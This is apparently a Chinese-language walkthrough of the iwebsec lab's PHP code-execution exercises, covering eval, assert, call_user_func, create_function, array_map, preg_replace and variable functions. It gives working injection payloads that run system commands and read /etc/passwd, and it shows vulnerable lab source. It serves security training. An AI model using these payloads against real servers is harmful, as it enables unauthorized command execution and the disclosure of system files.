iwebsec(代码执行)
一、代码执行
- 应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
- 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
- 因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法
二、系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
三、windows系统命令拼接方式
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
四、靶场地址:http://iwebsec.com/
五、查看源码
1.查看运行的docker容器
docker ps
2.进入docker容器
docker exec -it containerid /bin/bash
3.找到源码位置
cd /var/www/html/execcode/
六、代码执行漏洞eval函数
1.eval函数
- eval() 函数把字符串按照 PHP 代码来计算。
- 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
2.查看源码
-
POST方式,参数为1
3.执行系统命令
-
1=echo(`cat /etc/passwd`);
七、代码执行漏洞assert函数
1.assert函数
- assert()函数其实是一个断言函数,断言函数用于在调试过程中捕捉程序的错误。“断言”在语文中的意思是“断定”、“十分肯定地说”,在编程中是指对某种假设条件进行检测,如果条件成立就不进行任何操作,如果条件不成立就捕捉到这种错误,并打印出错误信息,终止程序执行。
- 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
- 注意assert的一句话mua,不需要以分号结尾。
2.查看源码
3.利用
1=phpinfo();
八、代码执行漏洞call_user_func函数
1.call_user_func函数
-
call_user_func_array()是调用回调函数,可以将把一个数组参数作为回调函数的参数
-
实例
2.查看源码
-
通过POST给变量fun和arg赋值
3.利用
-
fun=system&arg=whoami;
九、代码执行漏洞call_user_func_array函数
1.call_user_func_array函数
-
call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。
-
说明
说明:mixed call_user_func_array ( callable $callback , array $param_arr ) 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。 返回回调函数的结果。如果出错的话就返回FALSE
2.查看源码
3.利用
- 和call_user_func函数利用方法一样
十、代码执行漏洞create_function函数
1.create_function函数
-
create_function()是PHP中的内置函数,用于在PHP中创建匿名(lambda-style)函数。
-
用法:
string create_function ( $args, $code ) 参数:该函数接受以下两个参数: $args:它是一个字符串类型的函数参数。 $code:它是字符串类型的函数代码。
-
注意:通常,这些参数将作为单引号分隔的字符串传递。使用单引号引起来的字符串的原因是为了防止变量名被解析,否则,将需要双引号来转义变量名,例如\ $avar。
-
返回值:此函数以字符串形式返回唯一的函数名称,否则,在错误时返回FALSE。
2.查看源码
3.利用
-
GET方式传参
/execcode/05.php?id=1;}echo(`cat /etc/passwd`);/*
十一、代码执行漏洞array_map函数
1.array_map函数
- array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
- 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
2.查看源码
3.利用
-
GET方式给func和argv传参
/execcode/06.php?func=system&argv=whoami
十二、代码执行漏洞preg_replace函数
1.preg_replace函数
-
preg_replace 函数执行一个正则表达式的搜索和替换。
-
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。 参数说明: - $pattern: 要搜索的模式,可以是字符串或一个字符串数组。 - $replacement: 用于替换的字符串或字符串数组。 - $subject: 要搜索替换的目标字符串或字符串数组。 - $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。 - $count: 可选,为替换执行的次数。
-
返回值
- 如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
- 如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
2.查看源码
-
无漏洞
-
有漏洞
3.利用
-
代码执行漏洞preg_replace无漏洞函数,通过GET方式给name传参
/execcode/07.php?name=glc glc替换原来的hack
-
代码执行漏洞preg_replace漏洞函数,通过GET方式给name传参
/execcode/08.php?name=phpinfo()
十三、可变函数漏洞
1.查看源码
-
可变函数漏洞1
-
可变函数漏洞2
<?php function foo() { echo "foo"; } function bar($arg = '') { echo "bar"; } function echoit($string) { echo $string; } ?> <?php require_once('../header.php');?> <html> <head> <title>代码执行漏洞</title> </head> <h2>可变函数漏洞示例02</h2> <div class="alert alert-success"> <p>/10.php?func=func1</p> </div> <body> <?php if(isset($_REQUEST['func'])){ function func1() { echo "func1函数"; } function func2($arg = '') { echo "func2函数"; } function func3($arg){ echo "func3函数的参数是".$arg; } $func = $_REQUEST['func']; $arg = $_REQUEST['arg']; echo $func($arg); }else{ exit(); } ?>
2.利用
-
可变函数漏洞1
当func=func1时,返回func1函数 当func=func2时,返回func2函数 当func被赋予其他值,参数将被当作代码执行
通过GET方式传参
/execcode/09.php?func=phpinfo
-
可变函数漏洞2
/execcode/10.php?func=system&arg=id